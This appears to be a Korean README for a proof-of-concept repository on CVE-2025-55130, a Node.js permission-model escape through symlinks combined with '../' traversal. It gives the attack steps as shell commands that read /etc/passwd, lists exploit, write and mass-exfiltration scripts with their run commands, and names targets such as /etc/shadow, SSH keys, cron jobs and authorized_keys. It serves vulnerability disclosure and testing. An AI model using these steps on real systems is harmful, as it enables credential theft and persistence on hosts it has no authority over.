CVE-2025-55130 - Node.js 권한 모델 심볼릭 링크 탈출
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js Permission Model Bypass via Crafted Symlinks
[ Discovered by natann @ JFrog ]
개요
Node.js의 경로 순회(path traversal) 결함으로 인해, 절대 경로를 가리키는 심볼릭 링크와 상대 경로 순회를 결합하면 --allow-fs-read 및 --allow-fs-write 권한 제한을 벗어날 수 있습니다.
권한 검사와 경로 해석은 서로 별개로 수행됩니다. 초기 경로가 권한 검사를 통과하면 심볼릭 링크를 따라가게 되며, 순회 시퀀스가 샌드박스를 탈출합니다.
영향을 받는 버전
기술 분석
근본 원인
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
권한 모델은 심볼릭 링크 해석 전에 경로 문자열을 검증합니다. 절대 경로에 대한 심볼릭 링크를 만든 뒤 심볼릭 링크 이후에 ../ 순회를 사용하면 허용된 디렉터리를 벗어날 수 있습니다.
공격 흐름
1. mkdir -p ./a/b/c/d/e/f/g # Create nested dirs in allowed path
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink to absolute path
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Permission check passes (inside ./)
After symlink resolution:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversal escapes to root
파일
| 파일 | 용도 |
|---|
exploit.js | 주요 익스플로잇 - 임의 파일 읽기 |
exploit_write.js | 임의 파일 쓰기 |
exfil.js | 대량 파일 유출 |
|
사용법
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
영향
- 민감한 파일 읽기: /etc/passwd, /etc/shadow, SSH 키, 설정 파일
- 임의 파일 쓰기: cron 작업, authorized_keys, 설정 파일
- 멀티테넌트 환경에서 컨테이너 탈출
- 신뢰할 수 없는 코드 실행을 위한 샌드박스 우회
참고 자료
크레딧
- 취약점 발견: Natan Nehorai (natann) @ JFrog Security Research
- 수정: RafaelGSS @ Node.js
연구 및 승인된 테스트 용도로만 사용하십시오.